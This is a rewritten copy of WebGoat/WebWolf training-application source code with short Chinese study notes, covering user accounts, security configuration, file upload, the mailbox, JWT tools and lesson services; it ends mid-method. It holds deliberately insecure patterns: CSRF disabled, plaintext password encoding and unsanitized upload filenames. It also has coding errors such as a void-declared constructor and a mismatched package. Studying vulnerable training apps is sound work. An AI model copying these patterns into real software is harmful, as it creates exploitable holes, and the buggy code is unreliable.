package com.wanan.webgoat.container.lessons;import java.util.ArrayList;import java.util.List;public class LessonMenuItem { private String name; private LessonMenuItemType type; private List<LessonMenuItem> children = new ArrayList <>(); private boolean complete; private String link; private int ranking; public String getName () { return name; } public void setName (String name) { this .name = name; } public List<LessonMenuItem> getChildren () { return children; } public void setChildren (List<LessonMenuItem> children) { this .children = children; } public LessonMenuItemType getType () { return type; } public void setType (LessonMenuItemType type) { this .type = type; } public void addChild (LessonMenuItem child) { children.add(child); } @Override public String toString () { StringBuilder builder = new StringBuilder (); builder.append("Name: " ).append(name).append(" | " ); builder.append("Type: " ).append(name).append(" | " ); return builder.toString(); } public boolean isComplete () { return complete; } public void setComplete (boolean complete) { this .complete = complete; } public String getLink () { return link; } public void setLink (String link) { this .link = link; } public void setRanking (int ranking) { this .ranking = ranking; } public int getRanking () { return this .ranking; } }
package com.wanan.webgoat.container.lessons;public enum LessonMenuItemType { CATEGORY, LESSON, STAGE }
WebWolfRedirect package com.wanan.webgoat.container;import lombok.RequiredArgsConstructor;import org.springframework.context.ApplicationContext;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.servlet.ModelAndView;@Controller @RequiredArgsConstructor public class WebWolfRedirect { private final ApplicationContext applicationContext; @GetMapping("/WebWolf") public ModelAndView openWebWolf () { var url = applicationContext.getEnvironment().getProperty("webwolf.url" ); return new ModelAndView ("redirect:" +url+"/home" ); } }
webwolf user UserService package com.wanan.webgoat.webwolf.user;import org.springframework.security.core.userdetails.UserDetailsService;import org.springframework.security.core.userdetails.UsernameNotFoundException;import org.springframework.stereotype.Service;@Service public class UserService implements UserDetailsService { private UserRepository userRepository; public UserService (UserRepository userRepository) { this .userRepository = userRepository; } @Override public WebGoatUser loadUserByUsername (final String username) throws UsernameNotFoundException{ WebGoatUser webGoatUser = userRepository.findByUsername(username); if (webGoatUser == null ){ throw new UsernameNotFoundException ("User not found" ); } webGoatUser.createUser(); return webGoatUser; } public void addUser (final String username, final String password) { userRepository.save(new WebGoatUser (username, password)); } }
UserRepository package com.wanan.webgoat.webwolf.user;import com.wanan.webgoat.container.users.WebGoatUser;import org.springframework.data.jpa.repository.JpaRepository;public interface UserRepository extends JpaRepository <WebGoatUser,String> { WebGoatUser findByUsername (String username) ; }
WebGoatUser package com.wanan.webgoat.webwolf.user;import lombok.Getter;import org.springframework.security.core.GrantedAuthority;import org.springframework.security.core.userdetails.User;import org.springframework.security.core.userdetails.UserDetails;import javax.persistence.Entity;import javax.persistence.Id;import javax.persistence.Transient;import java.util.Collection;import java.util.Collections;@Getter @Entity public class WebGoatUser implements UserDetails { @Id private String username; private String password; @Transient private User user; protected WebGoatUser () { } public void WebGoatUser (String username,String password) { this .username = username; this .password = password; createUser(); } public void createUser () { this .user = new User (username,password,getAuthorities()); } public Collection<? extends GrantedAuthority > getAuthorities(){return Collections.emptyList();} @Override public boolean isAccountNonExpired () { return this .user.isAccountNonExpired(); } @Override public boolean isAccountNonLocked () { return this .user.isAccountNonLocked(); } @Override public boolean isCredentialsNonExpired () { return this .user.isCredentialsNonExpired(); } @Override public boolean isEnabled () { return this .user.isEnabled(); } }
WebSecurityConfig package com.wanan.webgoat.webwolf;import com.wanan.webgoat.webwolf.user.UserService;import lombok.AllArgsConstructor;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.context.annotation.Bean;import org.springframework.context.annotation.Configuration;import org.springframework.http.HttpMethod;import org.springframework.security.authentication.AuthenticationManager;import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;import org.springframework.security.config.annotation.web.builders.HttpSecurity;import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;import org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer;import org.springframework.security.core.userdetails.UserDetailsService;import org.springframework.security.crypto.password.NoOpPasswordEncoder;@Configuration @AllArgsConstructor @EnableWebSecurity public class WebSecurityConfig extends WebSecurityConfigurerAdapter { private final UserService userDetailsService; @Override protected void configure (HttpSecurity http) throws Exception{ ExpressionUrlAuthorizationConfigurer<HttpSecurity>.ExpressionInterceptUrlRegistry security = http .authorizeRequests() .antMatchers("/css/**" ,"/images/**" ,"/js/**" ,"/fonts/**" ,"/webjars/**" ,"/home" ).permitAll() .antMatchers(HttpMethod.GET,"/mail/**" ,"/requests/**" ).authenticated() .antMatchers("/files" ).authenticated() .anyRequest().permitAll(); security.and() .csrf().disable() .formLogin().loginPage("/login" ) .failureForwardUrl("/login?error=true" ); security.and() .formLogin().loginPage("/login" ) .defaultSuccessUrl("/home" ,true ) .permitAll(); security.and() .logout() .permitAll(); } @Autowired public void configureGlobal (AuthenticationManagerBuilder auth) throws Exception{ auth.userDetailsService(userDetailsService); } @Bean @Override public UserDetailsService userDetailsServiceBean () throws Exception{ return userDetailsService; } @Bean @Override protected AuthenticationManager authenticationManager () throws Exception{ return super .authenticationManager(); } @Bean public NoOpPasswordEncoder passwordEncoder () { return (NoOpPasswordEncoder) NoOpPasswordEncoder.getInstance(); } }
MvcConfiguration package com.wanan.webgoat.webwolf;import org.springframework.beans.factory.annotation.Value;import org.springframework.context.annotation.Configuration;import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistration;import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;import javax.annotation.PostConstruct;import java.io.File;@Configuration public class MvcConfiguration implements WebMvcConfigurer { @Value("${webwolf.fileserver.location}") private String fileLocation; @Override public void addResourceHandlers (ResourceHandlerRegistry registry) { registry.addResourceHandler("/files/**" ).addResourceLocations("file:///" +fileLocation+"/" ); registry.addResourceHandler("/css/**" ).addResourceLocations("classpath:/webwolf/static/css/" ); registry.addResourceHandler("/js/**" ).addResourceLocations("classpath:/webwolf/static/js/" ); registry.addResourceHandler("/images/**" ).addResourceLocations("classpath:/webwolf/static/images/" ); } @PostConstruct public void createDirectory () { File file = new File (fileLocation); if (!file.exists()){ file.mkdirs(); } } }
requests Requests package com.wanan.webgoat.webwolf.requests;import com.fasterxml.jackson.core.JsonProcessingException;import com.fasterxml.jackson.databind.ObjectMapper;import lombok.AllArgsConstructor;import lombok.Getter;import lombok.RequiredArgsConstructor;import lombok.extern.slf4j.Slf4j;import org.apache.commons.lang3.StringUtils;import org.springframework.boot.actuate.trace.http.HttpTrace;import org.springframework.boot.actuate.trace.http.HttpTrace.Request;import org.springframework.security.core.context.SecurityContextHolder;import org.springframework.security.core.userdetails.UserDetails;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.servlet.ModelAndView;import java.time.Instant;import static java.util.stream.Collectors.toList;@Controller @RequiredArgsConstructor @Slf4j @RequestMapping(value = "/requests") public class Requests { private final WebWolfTraceRepository traceRepository; private final ObjectMapper objectMapper; @AllArgsConstructor @Getter private class Tracert { private final Instant date; private final String path; private final String json; } @GetMapping public ModelAndView get () { var model = new ModelAndView ("requests" ); var user = (UserDetails) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); var traces = traceRepository.findAllTraces().stream() .filter(t -> allowedTrace(t,user)) .map(t -> new Tracert (t.getTimestamp(),path(t),toJsonString(t))).collect(toList()); model.addObject("traces" ,traces); return model; } private boolean allowedTrace (HttpTrace t, UserDetails user) { Request req = t.getRequest(); boolean allowed = true ; if (req.getUri().getPath().contains("/files" ) && !req.getUri().getPath().contains(user.getUsername())){ allowed = false ; } else if (req.getUri().getPath().contains("/landing" ) && req.getUri().getPath()!=null && req.getUri().getQuery().contains("uniqueCode" ) && !req.getUri().getQuery().contains(StringUtils.reverse(user.getUsername()))){ allowed = false ; } return allowed; } private String path (HttpTrace t) { return (String) t.getRequest().getUri().getPath(); } private String toJsonString (HttpTrace trace) { try { return objectMapper.writeValueAsString(trace); }catch (JsonProcessingException e){ log.error("Unable to create json" ,e); } return "No request(s) found" ; } }
LandingPage package com.wanan.webgoat.webwolf.requests;import lombok.extern.slf4j.Slf4j;import org.springframework.http.ResponseEntity;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestMethod;import javax.servlet.http.HttpServletRequest;import java.util.concurrent.Callable;@Controller @Slf4j @RequestMapping("/landing/**") public class LandingPage { @RequestMapping(method = {RequestMethod.POST,RequestMethod.GET,RequestMethod.DELETE,RequestMethod.DELETE,RequestMethod.PATCH,RequestMethod.PUT}) public Callable<ResponseEntity<?>> ok(HttpServletRequest request){ return ()->{ log.trace("Incoming request for: {}" ,request.getRequestURI()); return ResponseEntity.ok().build(); }; } }
FileServer 注意导入的WebGoatUser是那个类
package com.wanan.webgoat.webwolf;import com.wanan.webgoat.webwolf.user.WebGoatUser;import lombok.AllArgsConstructor;import lombok.Getter;import lombok.extern.slf4j.Slf4j;import org.apache.commons.io.FileUtils;import org.springframework.beans.factory.annotation.Value;import org.springframework.http.MediaType;import org.springframework.security.core.context.SecurityContextHolder;import org.springframework.stereotype.Controller;import org.springframework.ui.ModelMap;import org.springframework.web.bind.annotation.*;import org.springframework.web.multipart.MultipartFile;import org.springframework.web.servlet.ModelAndView;import org.springframework.web.servlet.view.RedirectView;import javax.servlet.http.HttpServletRequest;import java.io.File;import java.io.IOException;import java.util.ArrayList;import static org.springframework.http.MediaType.ALL_VALUE;@Controller @Slf4j public class FileServer { @Value("${webwolf.fileserver.location}") private String fileLocation; @Value("${server.address}") private String server; @Value("${server.port}") private int port; @RequestMapping(path= "/file-server-location",consumes = ALL_VALUE,produces = MediaType.TEXT_PLAIN_VALUE) @ResponseBody public String getFileLocation () { return fileLocation; } @PostMapping(value = "/fileupload") public ModelAndView importFile (@RequestParam("file") MultipartFile myFile) throws IOException{ var user = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); var destinationDir = new File (fileLocation,user.getUsername()); destinationDir.mkdirs(); myFile.transferTo(new File (destinationDir,myFile.getOriginalFilename())); log.debug("File save to {}" ,new File (destinationDir,myFile.getOriginalFilename())); return new ModelAndView ( new RedirectView ("files" ,true ), new ModelMap ().addAttribute("uploadSuccess" ,"File uploaded successful" ) ); } @AllArgsConstructor @Getter private class UploadedFile { private final String name; private final String size; private final String link; } @GetMapping(value = "/files") public ModelAndView getFiles (HttpServletRequest request) { WebGoatUser user = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); String username = user.getUsername(); File destinationDir = new File (fileLocation,username); ModelAndView modelAndView = new ModelAndView (); modelAndView.setViewName("files" ); File changeIndicatorFile = new File (destinationDir,user.getUsername()+"_changed" ); if (changeIndicatorFile.exists()){ modelAndView.addObject("uploadSuccess" ,request.getParameter("uploadSuccess" )); } changeIndicatorFile.delete(); var uploadedFiles = new ArrayList <>(); File[] files = destinationDir.listFiles(File::isFile); if (files != null ){ for (File file : files){ String size = FileUtils.byteCountToDisplaySize(file.length()); String link = String.format("files/%s/%s" ,username,file.getName()); uploadedFiles.add(new UploadedFile (file.getName(),size,link)); } } modelAndView.addObject("files" ,uploadedFiles); modelAndView.addObject("webwolf_url" ,"http://" +server+":" +port); return modelAndView; } }
mailbox Email package com.wanan.webgoat.webwolf.mailbox;import com.fasterxml.jackson.annotation.JsonIgnore;import lombok.AllArgsConstructor;import lombok.Builder;import lombok.Data;import lombok.NoArgsConstructor;import javax.persistence.*;import java.io.Serializable;import java.time.LocalDateTime;import java.time.format.DateTimeFormatter;@Data @Builder @AllArgsConstructor @Entity @NoArgsConstructor public class Email implements Serializable { @Id @GeneratedValue(strategy = GenerationType.IDENTITY) private Long id; @JsonIgnore private LocalDateTime time = LocalDateTime.now(); @Column(length = 1024) private String contents; private String sender; private String title; private String recipient; public String getSummary () { return "-" + this .contents.substring(0 ,Math.min(50 ,contents.length())); } public LocalDateTime getTimestamp () { return time; } public String getTime () { return DateTimeFormatter.ofPattern("h:mm a" ).format(time); } public String getShortSender () { return sender.substring(0 ,sender.indexOf("@" )); } }
MailboxController package com.wanan.webgoat.webwolf.mailbox;import lombok.AllArgsConstructor;import lombok.extern.slf4j.Slf4j;import org.springframework.http.HttpStatus;import org.springframework.http.ResponseEntity;import org.springframework.security.core.context.SecurityContextHolder;import org.springframework.security.core.userdetails.UserDetails;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestBody;import org.springframework.web.bind.annotation.RestController;import org.springframework.web.servlet.ModelAndView;import java.util.List;@RestController @AllArgsConstructor @Slf4j public class MailboxController { private final MailboxRepository mailboxRepository; @GetMapping(value = "/mail") public ModelAndView mail () { UserDetails user = (UserDetails) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); ModelAndView modelAndView = new ModelAndView (); List<Email> emails = mailboxRepository.findByRecipientOrderByTimeDesc(user.getUsername()); if (emails != null && !emails.isEmpty()){ modelAndView.addObject("total" ,emails.size()); modelAndView.addObject("emails" ,emails); } modelAndView.setViewName("mailbox" ); return modelAndView; } @PostMapping(value = "/mail") public ResponseEntity<?> sendEmail(@RequestBody Email email){ mailboxRepository.save(email); return ResponseEntity.status(HttpStatus.CREATED).build(); } }
MailboxRepository package com.wanan.webgoat.webwolf.mailbox;import org.springframework.data.jpa.repository.JpaRepository;import java.util.List;public interface MailboxRepository extends JpaRepository <Email,String > { List<Email> findByRecipientOrderByTimeDesc (String recipient) ; }
jwt JWTController 这里进行了修改,不然会造成jwt功能的无法正常使用.注意这里与原版的差异
package org.owasp.webgoat.webwolf.jwt;import org.springframework.util.MultiValueMap;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestBody;import org.springframework.web.bind.annotation.RestController;import org.springframework.web.servlet.ModelAndView;import static org.springframework.http.MediaType.APPLICATION_FORM_URLENCODED_VALUE;import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;@RestController public class JWTController { @GetMapping("/jwt") public ModelAndView jwt () { return new ModelAndView ("jwt" ); } @PostMapping(value = "/WebWolf/jwt/decode", consumes = APPLICATION_FORM_URLENCODED_VALUE, produces = APPLICATION_JSON_VALUE) public JWTToken decode (@RequestBody MultiValueMap<String, String> formData) { var jwt = formData.getFirst("token" ); var secretKey = formData.getFirst("secretKey" ); return JWTToken.decode(jwt, secretKey); } @PostMapping(value = "/WebWolf/jwt/encode", consumes = APPLICATION_FORM_URLENCODED_VALUE, produces = APPLICATION_JSON_VALUE) public JWTToken encode (@RequestBody MultiValueMap<String, String> formData) { var header = formData.getFirst("header" ); var payload = formData.getFirst("payload" ); var secretKey = formData.getFirst("secretKey" ); return JWTToken.encode(header, payload, secretKey); } }
JWTToken package com.wanan.webgoat.webwolf.jwt;import com.fasterxml.jackson.core.JsonProcessingException;import com.fasterxml.jackson.databind.ObjectMapper;import lombok.*;import org.jose4j.jws.JsonWebSignature;import org.jose4j.jwt.consumer.InvalidJwtException;import org.jose4j.jwt.consumer.JwtConsumer;import org.jose4j.jwt.consumer.JwtConsumerBuilder;import org.jose4j.jwx.CompactSerializer;import org.jose4j.keys.HmacKey;import org.jose4j.lang.JoseException;import java.util.Map;import java.util.TreeMap;import static java.nio.charset.StandardCharsets.UTF_8;import static org.springframework.util.Base64Utils.decodeFromUrlSafeString;import static org.springframework.util.StringUtils.hasText;@NoArgsConstructor @AllArgsConstructor @Getter @Setter @Builder(toBuilder = true) public class JWTToken { private String encoded = "" ; private String secretKey; private String header; private boolean validHeader; private boolean validPayload; private boolean validToken; private String payload; private boolean signatureValid = true ; public static JWTToken decode (String jwt, String secretKey) { var token = parseToken(jwt.trim().replace(System.getProperty("line.separator" ), "" )); return token.toBuilder().signatureValid(validateSignature(secretKey, jwt)).build(); } private static Map<String, Object> parse (String header) { var reader = new ObjectMapper (); try { return reader.readValue(header, TreeMap.class); } catch (JsonProcessingException e) { return Map.of(); } } private static String write (String originalValue, Map<String, Object> data) { var writer = new ObjectMapper ().writerWithDefaultPrettyPrinter(); try { if (data.isEmpty()) { return originalValue; } return writer.writeValueAsString(data); } catch (JsonProcessingException e) { return originalValue; } } public static JWTToken encode (String header, String payloadAsString, String secretKey) { var headers = parse(header); var payload = parse(payloadAsString); var builder = JWTToken.builder() .header(write(header, headers)) .payload(write(payloadAsString, payload)) .validHeader(!hasText(header) || !headers.isEmpty()) .validToken(true ) .validPayload(!hasText(payloadAsString) || !payload.isEmpty()); JsonWebSignature jws = new JsonWebSignature (); jws.setPayload(payloadAsString); headers.forEach((k, v) -> jws.setHeader(k, v)); if (!headers.isEmpty()) { builder.encoded(CompactSerializer.serialize(new String []{jws.getHeaders().getEncodedHeader(), jws.getEncodedPayload()})); } if (!headers.isEmpty() && !payload.isEmpty() && hasText(secretKey)) { jws.setDoKeyValidation(false ); jws.setKey(new HmacKey (secretKey.getBytes(UTF_8))); try { builder.encoded(jws.getCompactSerialization()); builder.signatureValid(true ); } catch (JoseException e) { } } return builder.build(); } public static JWTToken parseToken (String jwt) { var token = jwt.split("\\." ); var builder = JWTToken.builder().encoded(jwt); if (token.length >= 2 ) { var header = new String (decodeFromUrlSafeString(token[0 ]), UTF_8); var payloadAsString = new String (decodeFromUrlSafeString(token[1 ]), UTF_8); var headers = parse(header); var payload = parse(payloadAsString); builder.header(write(header, headers)); builder.payload(write(payloadAsString, payload)); builder.validHeader(!headers.isEmpty()); builder.validPayload(!payload.isEmpty()); builder.validToken(!headers.isEmpty() && !payload.isEmpty()); } else { builder.validToken(false ); } return builder.build(); } private static boolean validateSignature (String secretKey, String jwt) { if (hasText(secretKey)) { JwtConsumer jwtConsumer = new JwtConsumerBuilder () .setSkipAllValidators() .setVerificationKey(new HmacKey (secretKey.getBytes(UTF_8))) .setRelaxVerificationKeyValidation() .build(); try { jwtConsumer.processToClaims(jwt); return true ; } catch (InvalidJwtException e) { return false ; } } return false ; } }
resources webwolf静态资源 了解一下 thymeleaf 语法
注意这里的静态资源包里面的properties文件其实是html文件中会取出来的变量
container service EnvironmentService package com.wanan.webgoat.container.service;import lombok.RequiredArgsConstructor;import org.springframework.context.ApplicationContext;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.RestController;@RestController("/environment") @RequiredArgsConstructor public class EnvironmentService { private final ApplicationContext context; @GetMapping("/server-directory") public String homeDirectory () { return context.getEnvironment().getProperty("webgoat.server.directory" ); } }
HintService package com.wanan.webgoat.container.service;import com.wanan.webgoat.container.lessons.Assignment;import com.wanan.webgoat.container.lessons.Hint;import com.wanan.webgoat.container.lessons.Lesson;import com.wanan.webgoat.container.session.WebSession;import org.hibernate.engine.HibernateIterator;import org.jcodings.util.Hash;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import java.util.Collection;import java.util.List;@RestController public class HintService { public static final String URL_HINTS_MVC = "/service/hint.mvc" ; private final WebSession webSession; public HintService (WebSession webSession) { this .webSession = webSession; } @GetMapping(path = URL_HINTS_MVC,produces = "application/json") @ResponseBody public List<Hint> getHints () { Lesson l = webSession.getCurrentLesson(); return createAssignmentHints(l); } private List<Hint> createAssignmentHints (Lesson l ) { if (l!= null ){ return l.getAssignments().stream() .map(this ::createHint) .flatMap(Collection::stream) .toList(); } return List.of(); } private List<Hint> createHint (Assignment a) { return a.getHints().stream().map(h -> new Hint (h,a.getPath())).toList(); } }
LabelDebugService package com.wanan.webgoat.container.service;import com.wanan.webgoat.container.session.LabelDebugger;import lombok.AllArgsConstructor;import lombok.extern.slf4j.Slf4j;import org.springframework.http.HttpStatus;import org.springframework.http.MediaType;import org.springframework.http.ResponseEntity;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import java.awt.*;import java.util.Map;@Controller @Slf4j @AllArgsConstructor public class LabelDebugService { private static final String URL_DEBUG_LABELS_MVC = "/service/debug/labels.mvc" ; private static final String KEY_ENABLED = "enabled" ; private static final String KEY_SUCCESS = "success" ; private LabelDebugger labelDebugger; @RequestMapping(path = URL_DEBUG_LABELS_MVC,produces = MediaType.APPLICATION_JSON_VALUE) public @ResponseBody ResponseEntity<Map<String,Object>> checkDebuggingStatus () { log.debug("Checking label debugging,it is {}" ,labelDebugger.isEnabled()); Map<String,Object> result = createResponse(labelDebugger.isEnabled()); return new ResponseEntity <>(result, HttpStatus.OK); } @RequestMapping(value = URL_DEBUG_LABELS_MVC,produces = MediaType.APPLICATION_JSON_VALUE,params = KEY_ENABLED) public @ResponseBody ResponseEntity<Map<String,Object>> setDebuggingStatus (@RequestParam("enabled") Boolean enabled) { log.debug("Setting label debugging to {}" ,labelDebugger.isEnabled()); Map<String,Object> result = createResponse(enabled); labelDebugger.setEnabled(enabled); return new ResponseEntity <>(result,HttpStatus.OK); } private Map<String,Object> createResponse (Boolean enabled) { return Map.of(KEY_SUCCESS,Boolean.TRUE,KEY_ENABLED,enabled); } }
LabelService package com.wanan.webgoat.container.service;import com.wanan.webgoat.container.i18n.Messages;import com.wanan.webgoat.container.i18n.PluginMessages;import lombok.RequiredArgsConstructor;import lombok.extern.slf4j.Slf4j;import org.springframework.http.HttpStatus;import org.springframework.http.MediaType;import org.springframework.http.RequestEntity;import org.springframework.http.ResponseEntity;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import java.util.Properties;@RestController @Slf4j @RequiredArgsConstructor public class LabelService { public static final String URL_LABELS_MVC = "/service/labels.mvc" ; private final Messages messages; private final PluginMessages pluginMessages; @GetMapping(path = URL_LABELS_MVC,produces = MediaType.APPLICATION_JSON_VALUE) @ResponseBody public ResponseEntity<Properties> fetchLeabels () { var allProperties = new Properties (); allProperties.putAll(messages.getMessages()); allProperties.putAll(pluginMessages.getMessages()); return new ResponseEntity <>(allProperties, HttpStatus.OK); } }
LessonInfoService package com.wanan.webgoat.container.service;import com.wanan.webgoat.container.lessons.Lesson;import com.wanan.webgoat.container.lessons.LessonInfoModel;import com.wanan.webgoat.container.session.WebSession;import lombok.AllArgsConstructor;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;@RestController @AllArgsConstructor public class LessonInfoService { private final WebSession webSession; @RequestMapping(path = "/service/lessoninfo.mvc",produces = "application/json") public @ResponseBody LessonInfoModel getLessonInfo () { Lesson lesson = webSession.getCurrentLesson(); return new LessonInfoModel (lesson.getTitle(),false ,false ,false ); } }
package com.wanan.webgoat.container.service;import com.wanan.webgoat.container.lessons.*;import com.wanan.webgoat.container.session.Course;import com.wanan.webgoat.container.session.WebSession;import com.wanan.webgoat.container.users.LessonTracker;import com.wanan.webgoat.container.users.UserTracker;import com.wanan.webgoat.container.users.UserTrackerRepository;import lombok.AllArgsConstructor;import org.springframework.beans.factory.annotation.Value;import org.springframework.security.core.parameters.P;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;import java.util.ArrayList;import java.util.Comparator;import java.util.List;import java.util.Map;@Controller @AllArgsConstructor public class LessonMenuService { public static final String URL_LESSONMENU_MVC = "/service/lessonmenu.mvc" ; private final Course course; private final WebSession webSession; private UserTrackerRepository userTrackerRepository; @Value("#{'${exclude.categories}'.split(',')}") private List<String > excludeCategories; @Value("#{'${exclude.lessons}'.split(',')}") private List<String > excludeLessons; @RequestMapping(path = URL_LESSONMENU_MVC,produces = "application/json") public @ResponseBody List<LessonMenuItem> showLeftNav () { List<LessonMenuItem> menu = new ArrayList <>(); List<Category> categories = course.getCategories(); UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); for (Category category: categories){ if (excludeCategories.contains(category.name())){ continue ; } LessonMenuItem categoryItem = new LessonMenuItem (); categoryItem.setName(category.getName()); categoryItem.setType(LessonMenuItemType.CATEGORY); List<Lesson> lessons = course.getLessons(category); lessons = lessons.stream().sorted(Comparator.comparing(Lesson::getTitle)).toList(); for (Lesson lesson:lessons){ if (excludeLessons.contains(lesson.getName())){ continue ; } LessonMenuItem lessonItem = new LessonMenuItem (); lessonItem.setName(lesson.getTitle()); lessonItem.setLink(lesson.getLink()); lessonItem.setType(LessonMenuItemType.LESSON); LessonTracker lessonTracker = userTracker.getLessonTracker(lesson); boolean lessonSolved = lessonCompleted(lessonTracker.getLessonOverview(),lesson); lessonItem.setComplete(lessonSolved); categoryItem.addChild(lessonItem); } categoryItem.getChildren().sort(((o1, o2) -> o1.getRanking() - o2.getRanking())); menu.add(categoryItem); } return menu; } private boolean lessonCompleted (Map<Assignment,Boolean> map,Lesson currentLesson) { boolean result = true ; for (Map.Entry<Assignment,Boolean> entry : map.entrySet()){ Assignment storedAssignment = entry.getKey(); for (Assignment lessonAssignment : currentLesson.getAssignments()){ if (lessonAssignment.getName().equals(storedAssignment.getName())){ result = result && entry.getValue(); break ; } } } return result; } }
LessonProgressService package com.wanan.webgoat.container.service;import com.wanan.webgoat.container.lessons.Assignment;import com.wanan.webgoat.container.session.WebSession;import com.wanan.webgoat.container.users.UserTrackerRepository;import lombok.AllArgsConstructor;import lombok.Getter;import lombok.RequiredArgsConstructor;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;import java.util.List;@Controller @RequiredArgsConstructor public class LessonProgressService { private final UserTrackerRepository userTrackerRepository; private final WebSession webSession; @RequestMapping(value = "/service/lessonoverview.mvc",produces = "application/json") @ResponseBody public List<LessonOverview> lessonOverview () { var userTracker = userTrackerRepository.findByUser(webSession.getUserName()); var currentLesson = webSession.getCurrentLesson(); if (currentLesson != null ){ var lessonTracker = userTracker.getLessonTracker(currentLesson); return lessonTracker.getLessonOverview().entrySet().stream() .map(entry -> new LessonOverview (entry.getKey(),entry.getValue())) .toList(); } return List.of(); } @AllArgsConstructor @Getter private static class LessonOverview { private Assignment assignment; private Boolean solved; } }
LessonTitleService package com.wanan.webgoat.container.service;import com.wanan.webgoat.container.lessons.Lesson;import com.wanan.webgoat.container.session.WebSession;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;@Controller public class LessonTitleService { private final WebSession webSession; public LessonTitleService (final WebSession webSession) { this .webSession = webSession; } @RequestMapping(path = "/service/lessontitle.mvc",produces = "application/html") public @ResponseBody String showPlan () { Lesson lesson = webSession.getCurrentLesson(); return lesson != null ? lesson.getTitle() :"" ; } }
ReportCardService package com.wanan.webgoat.container.service;import com.wanan.webgoat.container.i18n.PluginMessages;import com.wanan.webgoat.container.lessons.Lesson;import com.wanan.webgoat.container.session.Course;import com.wanan.webgoat.container.session.WebSession;import com.wanan.webgoat.container.users.LessonTracker;import com.wanan.webgoat.container.users.UserTracker;import com.wanan.webgoat.container.users.UserTrackerRepository;import lombok.AllArgsConstructor;import lombok.Getter;import lombok.Setter;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.ResponseBody;import java.util.ArrayList;import java.util.List;@Controller @AllArgsConstructor public class ReportCardService { private final WebSession webSession; private final UserTrackerRepository userTrackerRepository; private final Course course; private final PluginMessages pluginMessages; @GetMapping(path = "/service/reportcard.mvc",produces = "application/json") @ResponseBody public ReportCard reportCard () { final ReportCard reportCard = new ReportCard (); reportCard.setTotalNumberOfLessons(course.getTotalOfLessons()); reportCard.setTotalNumberOfAssignments(course.getTotalOfAssignments()); UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); reportCard.setNumberOfAssignmentsSolved(userTracker.numberOfAssignmentsSolved()); reportCard.setNumberOfLessonsSolved(userTracker.numberOfLessonsSolved()); for (Lesson lesson : course.getLessons()){ LessonTracker lessonTracker = userTracker.getLessonTracker(lesson); final LessonStatistics lessonStatistics = new LessonStatistics (); lessonStatistics.setName(pluginMessages.getMessage(lesson.getTitle())); lessonStatistics.setNumberOfAttempts(lessonTracker.getNumberOfAttempts()); lessonStatistics.setSolved(lessonTracker.isLessonSolved()); reportCard.lessonStatistics.add(lessonStatistics); } return reportCard; } @Getter @Setter private final class ReportCard { private int totalNumberOfLessons; private int totalNumberOfAssignments; private int solvedLessons; private int numberOfAssignmentsSolved; private int numberOfLessonsSolved; private List<LessonStatistics> lessonStatistics = new ArrayList <>(); } @Setter @Getter private final class LessonStatistics { private String name; private boolean solved; private int numberOfAttempts; } }
RestartLessonService package com.wanan.webgoat.container.service;import com.wanan.webgoat.container.lessons.Initializeable;import com.wanan.webgoat.container.lessons.Lesson;import com.wanan.webgoat.container.session.WebSession;import com.wanan.webgoat.container.users.UserTracker;import com.wanan.webgoat.container.users.UserTrackerRepository;import lombok.AllArgsConstructor;import lombok.extern.slf4j.Slf4j;import org.flywaydb.core.Flyway;import org.springframework.http.HttpStatus;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.ResponseStatus;import java.util.List;import java.util.function.Function;@Controller @AllArgsConstructor @Slf4j public class RestartLessonService { private final WebSession webSession; private final UserTrackerRepository userTrackerRepository; private final Function<String , Flyway> flywayLessons; private final List<Initializeable> lessonsToInitialize; @RequestMapping(path = "/service/restartlesson.mvc",produces = "text/text") @ResponseStatus(value = HttpStatus.OK) public void restartLesson () { Lesson al = webSession.getCurrentLesson(); log.debug("Restarting lesson: " ,al); UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); userTracker.reset(al); userTrackerRepository.save(userTracker); var flyway = flywayLessons.apply(webSession.getUserName()); flyway.clean(); 